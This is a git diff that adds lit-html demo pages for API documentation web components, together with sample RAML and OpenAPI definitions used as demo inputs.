+ + + + diff --git a/demo/api-operation.js b/demo/api-operation.js new file mode 100644 index 0000000..ab7abb3 --- /dev/null +++ b/demo/api-operation.js @@ -0,0 +1,300 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; +import '@api-components/api-request/api-request-panel.js'; +import '@api-components/api-request/xhr-simple-request.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import '@api-components/api-server-selector/api-server-selector.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-operation-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'tryIt', 'parentEndpoint', + 'editorOpened', 'editorOperation', + 'overrideBaseUri', + 'serverType', 'serverValue', + 'renderSecurity', 'renderCodeSnippets' + ]); + /** @type string */ + this.selectedId = undefined; + /** @type string */ + this.selectedType = undefined; + /** @type string */ + this.endpointId = undefined; + this.tryIt = true; + this.overrideBaseUri = false; + this.renderSecurity = true; + this.renderCodeSnippets = true; + this.compatibility = false; + this.componentName = 'api-operation-document'; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + } + + get baseUri() { + const { serverValue, serverType } = this; + if (['custom', 'uri'].includes(serverType)) { + return serverValue; + } + return undefined; + } + + get serverId() { + const { serverValue, serverType, endpointId, selectedId } = this; + if (!serverValue || ['custom', 'uri'].includes(serverType)) { + return undefined; + } + const servers = this._getServers({ endpointId, methodId: selectedId }); + if (!Array.isArray(servers)) { + return undefined; + } + const srv = servers.find((item) => { + const url = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.urlTemplate)); + return url === serverValue; + }); + if (srv) { + return srv['@id']; + } + return undefined; + } + + /** + * @param {CustomEvent} e + */ + _serverHandler(e) { + const { value, type } = e.detail; + this.serverType = type; + this.serverValue = value; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive, endpointId } = e.detail; + if (passive) { + return; + } + if (type === 'method') { + this.selectedId = selected; + this.selectedType = type; + this.parentEndpoint = endpointId; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + this.endpointId = undefined; + } + } + + /** + * @param {CustomEvent} e + */ + tryitHandler(e) { + const { id } = e.detail; + this.editorOperation = id; + this.editorOpened = true; + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + + contentTemplate() { + return html` + + +

API operation

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API Operation document with various configuration options. +

+ ${this.serverSelectorTemplate()} +
+ ${!loaded ? html`

Load an API model first.

` : this.loadedTemplate()} +
+
+ `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + ${this.requestEditorDialogTemplate()} + `; + } + + componentTemplate() { + const { + demoStates, darkThemeActive, selectedId, amf, tryIt, overrideBaseUri, baseUri, serverId, + renderSecurity, renderCodeSnippets, + } = this; + if (!selectedId) { + return html`

Select API operation in the navigation

`; + } + let finalBaseUri; + if (baseUri) { + finalBaseUri = baseUri; + } else if (overrideBaseUri) { + finalBaseUri = 'https://custom.api.com'; + } + return html` + + + + + + + Render try it + + + Custom base URI + + + Render security + + + Render code snippets + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['multi-server', 'Multiple servers'], + ['nexmo-sms-api', 'Nexmo SMS API'], + ['appian-api', 'Applian API'], + ['async-api', 'Async API'], + ['Petstore-v2', 'Petstore OAS API'], + ['api-keys', 'API key (OAS)'], + ['oauth-flows', 'OAuth 2 flows'], + ['oas-bearer', 'Bearer token'], + ['oauth-pkce', 'OAuth 2 PKCE'], + ['secured-unions', 'Secured unions'], + ['secured-api', 'Secured API'], + ['oas-callbacks', 'OAS 3 callbacks'], + ['APIC-15', 'APIC-15'], + ['APIC-332', 'APIC-332'], + ['APIC-463', 'APIC-463'], + ['APIC-553', 'APIC-553'], + ['APIC-560', 'APIC-560'], + ['APIC-582', 'APIC-582'], + ['APIC-650', 'APIC-650'], + ['anyOf', 'APIC-561'], + ['SE-10469', 'SE-10469'], + ['SE-11508', 'SE-11508'], + ['SE-12957', 'SE-12957: OAS query parameters documentation'], + ['SE-11415', 'SE-11415'], + ['SE-12752', 'SE-12752: Query string'], + ['SE-12957', 'SE-12957'], + ['SE-12959', 'SE-12959: OAS summary field'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} + `; + }); + return result; + } + + requestEditorDialogTemplate() { + return html` + +

API request

+ + + + +
+ Close +
+
+ `; + } + + /** + * @return {object} A template for the server selector + */ + serverSelectorTemplate() { + const { + amf, + serverType, + serverValue, + compatibility, + } = this; + return html` + `; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-payload.html b/demo/api-payload.html new file mode 100644 index 0000000..2521aee --- /dev/null +++ b/demo/api-payload.html @@ -0,0 +1,16 @@ + + + + + + + API Payload + + + + +
+ + + + diff --git a/demo/api-payload.js b/demo/api-payload.js new file mode 100644 index 0000000..17264cb --- /dev/null +++ b/demo/api-payload.js @@ -0,0 +1,191 @@ +import { html } from 'lit-html'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-payload-document.js'; + +/** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */ +/** + * @typedef ResponsePayload + * @property {string} code + * @property {Payload[]} payloads + */ + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'request', 'response', + ]); + /** @type Payload[] */ + this.request = undefined; + /** @type ResponsePayload[] */ + this.response = undefined; + this.compatibility = false; + this.componentName = 'api-payload-document'; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive } = e.detail; + if (passive) { + return; + } + this.request = []; + this.response = []; + if (type === 'method') { + this.setPayloads(selected); + } + } + + /** + * @param {string} operationId + */ + setPayloads(operationId) { + const webApi = this._computeApi(this.amf); + const operation = this._computeMethodModel(webApi, operationId); + if (!operation) { + return; + } + const expects = this._computeExpects(operation); + if (expects) { + let payloads = this._computePayload(expects); + if (payloads) { + if (!Array.isArray(payloads)) { + payloads = [payloads]; + } + this.request = payloads; + } + } + + const returns = this._computeReturns(operation); + if (Array.isArray(returns)) { + const result = []; + returns.forEach((response) => { + const code = this._getValue(response, this.ns.aml.vocabularies.apiContract.statusCode); + let payloads = this._computePayload(response); + if (payloads) { + if (!Array.isArray(payloads)) { + payloads = [payloads]; + } + const item = /** @type ResponsePayload */ ({ + code, + payloads, + }); + result.push(item); + } + }); + this.response = result; + } + } + + contentTemplate() { + return html` +

API payload

+

Former api-body-document

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API payload document with various configuration options. +

+ + ${!loaded ? html`

Load an API model first.

` : this.loadedTemplate()} +
+ `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + `; + } + + componentTemplate() { + const { request, response } = this; + const hasRequests = Array.isArray(request) && !!request.length; + const hasResponses = Array.isArray(response) && !!response.length; + if (!hasRequests && !hasResponses) { + return html`

Select API operation in the navigation

`; + } + return html` + ${this.requestsTemplate()} + ${this.responsesTemplate()} + `; + } + + requestsTemplate() { + const { request } = this; + if (!Array.isArray(request) || !request.length) { + return ''; + } + return html` +
+

Request payload

+ ${request.map(p => this.payloadTemplate(p))} +
+ `; + } + + responsesTemplate() { + const { response } = this; + if (!Array.isArray(response) || !response.length) { + return ''; + } + return html` +
+

Response payload

+ ${response.map((item) => this.responseItemTemplate(item))} +
+ `; + } + + /** + * @param {ResponsePayload} item + */ + responseItemTemplate(item) { + const { code, payloads } = item; + const hasPayload = Array.isArray(payloads) && !!payloads.length; + return html` +
+

Status code: ${code}

+ ${!hasPayload ? html`

No payload defined for this status code

` : ''} + ${hasPayload ? payloads.map(p => this.payloadTemplate(p)) : ''} +
+ `; + } + + /** + * @param {Payload} payload + */ + payloadTemplate(payload) { + return html` + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['SE-11508', 'SE-11508'], + ['SE-12291', 'OAS "and" type'], + ['APIC-463', 'APIC-463'], + ['anyOf', 'AnyOf'], + ['stevetest', 'stevetest'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} + `; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-resource.html b/demo/api-resource.html new file mode 100644 index 0000000..38fd74c --- /dev/null +++ b/demo/api-resource.html @@ -0,0 +1,16 @@ + + + + + + + API Endpoint + + + + +
+ + + + diff --git a/demo/api-resource.js b/demo/api-resource.js new file mode 100644 index 0000000..547ed5d --- /dev/null +++ b/demo/api-resource.js @@ -0,0 +1,287 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; +import '@api-components/api-request/api-request-panel.js'; +import '@api-components/api-request/xhr-simple-request.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import '@api-components/api-server-selector/api-server-selector.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-resource-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'selectedOperation', 'tryItButton', 'tryItPanel', + 'editorOpened', 'editorOperation', 'overrideBaseUri', + 'serverType', 'serverValue', + ]); + this.compatibility = false; + this.editorOpened = false; + this.editorOperation = undefined; + this.selectedId = undefined; + this.selectedType = undefined; + this.selectedOperation = undefined; + this.tryItButton = true; + this.tryItPanel = false; + this.overrideBaseUri = false; + this.componentName = 'api-endpoint-document'; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + } + + get baseUri() { + const { serverValue, serverType } = this; + if (['custom', 'uri'].includes(serverType)) { + return serverValue; + } + return undefined; + } + + get serverId() { + const { serverValue, serverType, selectedId } = this; + if (!serverValue || ['custom', 'uri'].includes(serverType)) { + return undefined; + } + const servers = this._getServers({ endpointId: selectedId }); + if (!Array.isArray(servers)) { + return undefined; + } + const srv = servers.find((item) => { + const url = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.urlTemplate)); + return url === serverValue; + }); + if (srv) { + return srv['@id']; + } + return undefined; + } + + /** + * @param {CustomEvent} e + */ + _serverHandler(e) { + const { value, type } = e.detail; + this.serverType = type; + this.serverValue = value; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive, endpointId } = e.detail; + if (passive) { + return; + } + if (type === 'endpoint') { + this.selectedId = selected; + this.selectedType = type; + this.selectedOperation = undefined; + } else if (type === 'method') { + this.selectedId = endpointId; + this.selectedType = 'endpoint'; + this.selectedOperation = selected; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + this.selectedOperation = undefined; + } + } + + /** + * @param {CustomEvent} e + */ + tryitHandler(e) { + const { id } = e.detail; + this.editorOperation = id; + this.editorOpened = true; + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + + contentTemplate() { + return html` + + +

API endpoint

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API endpoint document with various configuration options. +

+ + ${this.serverSelectorTemplate()} +
+ ${!loaded ? html`

Load an API model first.

` : this.loadedTemplate()} +
+
+ `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + ${this.requestEditorDialogTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, selectedId, selectedOperation, amf, tryItButton, tryItPanel, overrideBaseUri, baseUri, serverId } = this; + if (!selectedId) { + return html`

Select API operation in the navigation

`; + } + let finalBaseUri; + if (baseUri) { + finalBaseUri = baseUri; + } else if (overrideBaseUri) { + finalBaseUri = 'https://custom.api.com'; + } + console.log(finalBaseUri); + return html` + + + + + + + Render try it + + + Render HTTP editor + + + Custom base URI + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['multi-server', 'Multiple servers'], + ['nexmo-sms-api', 'Nexmo SMS API'], + ['appian-api', 'Applian API'], + ['APIC-15', 'APIC-15'], + ['SE-10469', 'SE-10469'], + ['SE-11415', 'SE-11415'], + ['async-api', 'async-api'], + ['Petstore-v2', 'Petstore OAS API'], + ['api-keys', 'API key (OAS)'], + ['oauth-flows', 'OAuth 2 flows'], + ['oas-bearer', 'Bearer token'], + ['oauth-pkce', 'OAuth 2 PKCE'], + ['secured-unions', 'Secured unions'], + ['secured-api', 'Secured API'], + ['SE-12957', 'SE-12957: OAS query parameters documentation'], + ['SE-12959', 'SE-12959: OAS summary field'], + ['SE-12752', 'SE-12752: Query string (SE-12752)'], + ['oas-callbacks', 'OAS 3 callbacks'], + ['APIC-553', 'APIC-553'], + ['APIC-560', 'APIC-560'], + ['APIC-582', 'APIC-582'], + ['APIC-650', 'APIC-650'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + }); + return result; + } + + requestEditorDialogTemplate() { + return html` + +

API request

+ + + + +
+ Close +
+
+ `; + } + + /** + * @return {object} A template for the server selector + */ + serverSelectorTemplate() { + const { + amf, + serverType, + serverValue, + compatibility, + } = this; + return html` + `; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-schema-documentation.html b/demo/api-schema-documentation.html new file mode 100644 index 0000000..33f9898 --- /dev/null +++ b/demo/api-schema-documentation.html @@ -0,0 +1,16 @@ + + + + + + + AMF Schema Documentation + + + + +
+ + + + diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js new file mode 100644 index 0000000..e85f4e6 --- /dev/null +++ b/demo/api-schema-documentation.js @@ -0,0 +1,208 @@ +/* eslint-disable prefer-destructuring */ +import { html } from 'lit-html'; +import { ifDefined } from 'lit-html/directives/if-defined.js'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@api-components/api-navigation/api-navigation.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-schema-document.js'; + +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'forceExamples', + 'mediaTypes', 'shape', 'mediaType', 'noReadOnly', + ]); + this.selectedId = undefined; + this.selectedType = undefined; + this.mediaType = undefined; + this.mediaTypes = undefined; + this.shape = undefined; + this.forceExamples = true; + this.componentName = 'api-schema-document'; + this.typesOpened = true; + this.endpointsOpened = false; + this.noReadOnly = false; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive } = e.detail; + if (passive) { + return; + } + this.selectedId = undefined; + this.selectedType = undefined; + this.shape = undefined; + this.mediaTypes = undefined; + this.mediaType = undefined; + + if (type === 'type') { + this.setTypeData(selected); + } else if (type === 'method') { + this.setBodyData(selected); + } + } + + /** + * @param {string} id + */ + setTypeData(id) { + this.selectedId = id; + this.selectedType = 'type'; + this.readApiMediaTypes(); + } + + /** + * @param {string} id + */ + setBodyData(id) { + const webApi = this._computeWebApi(this.amf); + const method = this._computeMethodModel(webApi, id); + const expects = this._computeExpects(method); + const payload = /** @type DomainElement */ (expects ? this._computePayload(expects)[0] : {}); + const mt = this._getValue(payload, this.ns.aml.vocabularies.core.mediaType); + const key = this._getAmfKey(this.ns.aml.vocabularies.shapes.schema); + let schema = payload && payload[key]; + if (!schema) { + return; + } + schema = Array.isArray(schema) ? schema[0] : schema; + this.shape = schema; + this.mediaType = mt; + } + + readApiMediaTypes() { + let webApi = this._computeWebApi(this.amf); + if (webApi instanceof Array) { + [webApi] = webApi; + } + const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.accepts); + const value = this._ensureArray(webApi[key]); + if (value) { + this.mediaTypes = value.map((item) => item['@value']); + this.mediaType = this.mediaTypes[0]; + } + } + + /** + * @param {Event} e + */ + mimeHandler(e) { + const select = /** @type HTMLSelectElement */ (e.target); + this.mediaType = select.value; + } + + contentTemplate() { + return html` +

API schema

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API endpoint document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this._componentTemplate()} +
+ ${this.mediaTypesSelectorTemplate()} +
+ `; + } + + _componentTemplate() { + const { demoStates, darkThemeActive, selectedId, amf, forceExamples, shape, mediaType, noReadOnly } = this; + if (!selectedId && !shape) { + return html`

Select API object in the navigation

`; + } + return html` + + + + + + Force examples + + + No read only + + + `; + } + + mediaTypesSelectorTemplate() { + const { mediaTypes } = this; + if (!Array.isArray(mediaTypes) || !mediaTypes.length) { + return ''; + } + return html` + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['APIC-649', 'Deprecated properties'], + ['APIC-429', 'APIC 429'], + ['read-only-properties', 'Read Only Properties API'], + ['examples-api', 'Examples render demo'], + ['Petstore-v2', 'OAS: Petstore'], + ['apic-83', 'APIC-83'], + ['SE-10469', 'SE-1046'], + ['SE-11155', 'SE-11155'], + ['APIC-282', 'APIC-282'], + ['new-oas3-types', 'New OAS 3 types API'], + ['APIC-483', 'APIC 483'], + ['APIC-631', 'APIC-631: Arrays'], + ['aap-1698', 'aap-1698'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} + `; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-security-documentation.html b/demo/api-security-documentation.html new file mode 100644 index 0000000..61d7b8a --- /dev/null +++ b/demo/api-security-documentation.html @@ -0,0 +1,16 @@ + + + + + + + AMF Security Documentation + + + + +
+ + + + diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js new file mode 100644 index 0000000..b825438 --- /dev/null +++ b/demo/api-security-documentation.js @@ -0,0 +1,113 @@ +/* eslint-disable lit-a11y/click-events-have-key-events */ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-security-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'settingsOpened', + ]); + this.renderViewControls = true; + this.selectedId = undefined; + this.selectedType = undefined; + this.settingsOpened = true; + this.componentName = 'api-security-document'; + this.securityOpened = true; + this.endpointsOpened = false; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive } = e.detail; + if (passive) { + return; + } + if (type === 'security') { + this.selectedId = selected; + this.selectedType = type; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + } + } + + contentTemplate() { + return html` +

API security

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API security document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this._componentTemplate()} +
+
+ `; + } + + _componentTemplate() { + const { demoStates, darkThemeActive, selectedId, amf, settingsOpened } = this; + if (!selectedId) { + return html`

Select API documentation in the navigation

`; + } + return html` + + + + + + + Settings opened + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['api-keys', 'API key (OAS)'], + ['oauth-flows', 'OAuth 2 flows'], + ['oas-bearer', 'Bearer token'], + ['oauth-pkce', 'OAuth 2 PKCE'], + ['secured-unions', 'Secured unions'], + ['secured-api', 'Secured API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} - compact model`; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-summary.html b/demo/api-summary.html new file mode 100644 index 0000000..fd47214 --- /dev/null +++ b/demo/api-summary.html @@ -0,0 +1,16 @@ + + + + + + + API Summary + + + + +
+ + + + diff --git a/demo/api-summary.js b/demo/api-summary.js new file mode 100644 index 0000000..d6c47e6 --- /dev/null +++ b/demo/api-summary.js @@ -0,0 +1,107 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-summary.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'selectedOperation', 'tryIt', + 'editorOpened', 'editorOperation', 'overrideBaseUri', + ]); + this.compatibility = false; + this.componentName = 'api-summary'; + this.overrideBaseUri = false; + this.noApiNavigation = true; + } + + /** + * @param {CustomEvent} e + */ + _navigationHandler(e) { + console.log(e.detail); + } + + contentTemplate() { + return html` +

API summary

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API summary document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this.loadedTemplate()} +
+
+ `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, amf, overrideBaseUri } = this; + return html` + + + + + + + Custom base URI + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['prevent-xss', 'Prevent XSS'], + ['mocking-service', 'Lots of methods'], + ['no-endpoints', 'No endpoints!'], + ['no-server', 'No server!'], + ['multi-server', 'Multiple servers'], + ['async-api', 'AsyncAPI'], + ['APIC-641', 'APIC-641'], + ['APIC-711', 'A library'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/apis.json b/demo/apis.json deleted file mode 100644 index 718851d..0000000 --- a/demo/apis.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "demo-api/demo-api.raml": "RAML 1.0", - "array-body/array-body.raml": "RAML 1.0", - "appian-api/appian-api.raml": "RAML 1.0", - "nexmo-sms-api/nexmo-sms-api.raml": "RAML 1.0", - "APIC-15/APIC-15.raml": "RAML 1.0", - "oauth1-fragment/oauth1-fragment.raml": "RAML 1.0", - "oauth2-fragment/oauth2-fragment.raml": "RAML 1.0", - "type-fragment/type-fragment.raml": "RAML 1.0", - "documentation-fragment/documentation-fragment.raml": "RAML 1.0", - "lib-fragment/lib-fragment.raml": "RAML 1.0", - "example-fragment/example-fragment.raml": "RAML 1.0", - "SE-10469/SE-10469.raml": "RAML 1.0", - "SE-11415/SE-11415.raml": "RAML 1.0", - "APIC-390/APIC-390.raml": "RAML 1.0", - "exchange-experience-api/exchange-experience-api.raml": "RAML 0.8", - "google-drive-api/google-drive-api.raml": "RAML 1.0", - "multi-server/multi-server.yaml": { "type": "OAS 3.0", "mime": "application/yaml" }, - "async-api/async-api.yaml": "ASYNC 2.0", - "APIC-711/APIC-711.raml": "RAML 1.0" -} diff --git a/demo/APIC-15/APIC-15.raml b/demo/apis/APIC-15/APIC-15.raml similarity index 100% rename from demo/APIC-15/APIC-15.raml rename to demo/apis/APIC-15/APIC-15.raml diff --git a/demo/APIC-15/data-types/organization-data-type.raml b/demo/apis/APIC-15/data-types/organization-data-type.raml similarity index 100% rename from demo/APIC-15/data-types/organization-data-type.raml rename to demo/apis/APIC-15/data-types/organization-data-type.raml diff --git a/demo/APIC-15/examples/organization/organization-array-response.raml b/demo/apis/APIC-15/examples/organization/organization-array-response.raml similarity index 100% rename from demo/APIC-15/examples/organization/organization-array-response.raml rename to demo/apis/APIC-15/examples/organization/organization-array-response.raml diff --git a/demo/APIC-15/examples/organization/organization-individual-response.raml b/demo/apis/APIC-15/examples/organization/organization-individual-response.raml similarity index 100% rename from demo/APIC-15/examples/organization/organization-individual-response.raml rename to demo/apis/APIC-15/examples/organization/organization-individual-response.raml diff --git a/demo/apis/APIC-282/APIC-282.raml b/demo/apis/APIC-282/APIC-282.raml new file mode 100644 index 0000000..3cfc2c5 --- /dev/null +++ b/demo/apis/APIC-282/APIC-282.raml @@ -0,0 +1,57 @@ +#%RAML 1.0 +title: APIC-282 +version: v1 +baseUri: http://api.domain.com/ +mediaType: [ application/json ] + +annotationTypes: + deprecated: string + annotationTest: nil +types: + Arrays: + type: object + properties: + testRepeatable: + (deprecated): Test parameter will be removed in next version of the API. + required: true + type: string[] + example: [value1, value2] + description: A string array with an example and annotation. + minItems: 1 + maxItems: 10 + numericRepeatable: + required: true + type: integer[] + examples: + Some-test-example: [123, 456] + Other-example: [1011, 1213] + notRequiredRepeatable: + (annotationTest): + type: array + items: date-only + required: false + multiArray: + type: array + items: boolean | string + +/endpoint: + post: + body: + type: object + properties: + testRepeatable: + (deprecated): Test parameter will be removed in next version of the API. + required: true + type: string[] + example: [value1, value2] + numericRepeatable: + required: true + type: integer[] + examples: + Some-test-example: [123, 456] + Other-example: [1011, 1213] + notRequiredRepeatable: + (annotationTest): + type: array + items: date-only + required: false diff --git a/demo/apis/APIC-289/APIC-289.yaml b/demo/apis/APIC-289/APIC-289.yaml new file mode 100644 index 0000000..690a6a8 --- /dev/null +++ b/demo/apis/APIC-289/APIC-289.yaml @@ -0,0 +1,21 @@ +swagger: "2.0" + +info: + version: 1.0.0 + title: ParamRefExample + +paths: + /organization: + get: + parameters: + - $ref: "#/parameters/foo_bar" + responses: + 200: + description: OK + +parameters: + foo_bar: + name: foo + in: query + required: true + type: string diff --git a/demo/apis/APIC-332/APIC-332.raml b/demo/apis/APIC-332/APIC-332.raml new file mode 100644 index 0000000..d091e1c --- /dev/null +++ b/demo/apis/APIC-332/APIC-332.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 +title: API with Examples + +types: + Org: + type: object + description: This description for the type is shown + properties: + name: string + address?: string + value?: string + +/organization: + post: + body: + application/json: + type: Org + example: + value: + name: Fake SA + value: Something + description: This description for the example is never shown diff --git a/demo/APIC-390/APIC-390.raml b/demo/apis/APIC-390/APIC-390.raml similarity index 100% rename from demo/APIC-390/APIC-390.raml rename to demo/apis/APIC-390/APIC-390.raml diff --git a/demo/APIC-390/Types/ISO-standards.raml b/demo/apis/APIC-390/Types/ISO-standards.raml similarity index 100% rename from demo/APIC-390/Types/ISO-standards.raml rename to demo/apis/APIC-390/Types/ISO-standards.raml diff --git a/demo/apis/APIC-429/APIC-429.yaml b/demo/apis/APIC-429/APIC-429.yaml new file mode 100644 index 0000000..abd11c3 --- /dev/null +++ b/demo/apis/APIC-429/APIC-429.yaml @@ -0,0 +1,63 @@ +openapi: "3.0.0" +info: + version: 1.0.0 + title: Swagger Petstore +paths: + /pets: + get: + description: | + Returns all pets from the system that the user has access to. + responses: + '200': + description: pet response + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/Pet' + /pets/2: + get: + description: Returns a user based on a single ID, if the user does not have access to the pet + responses: + '200': + description: pet response + content: + application/json: + schema: + $ref: '#/components/schemas/Pet' + /pets/3: + get: + description: Returns a user based on a single ID, if the user does not have access to the pet + responses: + '200': + description: pet response + content: + application/json: + schema: + type: array + items: + type: string +components: + schemas: + Pet: + allOf: + - $ref: '#/components/schemas/NewPet' + - type: object + required: + - id + properties: + id: + type: integer + format: int64 + NewPet: + type: object + required: + - name + properties: + name: + type: string + description: name of pet + enum: ['harvey','bertie'] + tag: + type: string diff --git a/demo/apis/APIC-463/APIC-463.raml b/demo/apis/APIC-463/APIC-463.raml new file mode 100644 index 0000000..b6663ff --- /dev/null +++ b/demo/apis/APIC-463/APIC-463.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 +title: missing-body +/test: + post: + description: Upload a dataset[.txt,.csv] or config[.conf] file. Maximum file size is 2 GB. + body: + binary/octet-stream: + multipart/form-data: + properties: + file: + description: The file to upload. + required: true + type: file \ No newline at end of file diff --git a/demo/apis/APIC-483/APIC-483.raml b/demo/apis/APIC-483/APIC-483.raml new file mode 100644 index 0000000..48e36eb --- /dev/null +++ b/demo/apis/APIC-483/APIC-483.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 +title: Retrieve List of Bank +description: | + Bank Paynet API +mediaType: + - application/json +baseUri: api/bank/prc/{version} +version: v1 + +/banks: + post: + displayName: Retrieve Bank Paynet + body: + application/json: + type: !include schema/response-retrieve-list-bank.json + example: !include example/list-of-bank-succ.json diff --git a/demo/apis/APIC-483/example/list-of-bank-succ.json b/demo/apis/APIC-483/example/list-of-bank-succ.json new file mode 100644 index 0000000..43ee91b --- /dev/null +++ b/demo/apis/APIC-483/example/list-of-bank-succ.json @@ -0,0 +1,32 @@ +{ + "banks": [{ + "id": "BANKAMYKL", + "name": "Bank A", + "status": "A", + "urlList": [ + { + "urlType": "RET", + "urlValue": "https://www.bank-a.com.my/retail/checkout/info", + "applicationId": "com.merchanta.app" + }, + { + "urlType": "CORP", + "urlValue": "https://www.bank-a.com.my/corp/checkout/info", + "applicationId": "com.merchanta.app" + } + ] + }, + { + "id": "MERAMYKL", + "name": "Merchant Buffet", + "status": "A", + "urlList": [ + { + "urlType": "RET", + "urlValue": "https://www.buffetnotarealurl.com.my/checkout/info", + "applicationId": "com.buffet.app" + } + ] + + }] +} \ No newline at end of file diff --git 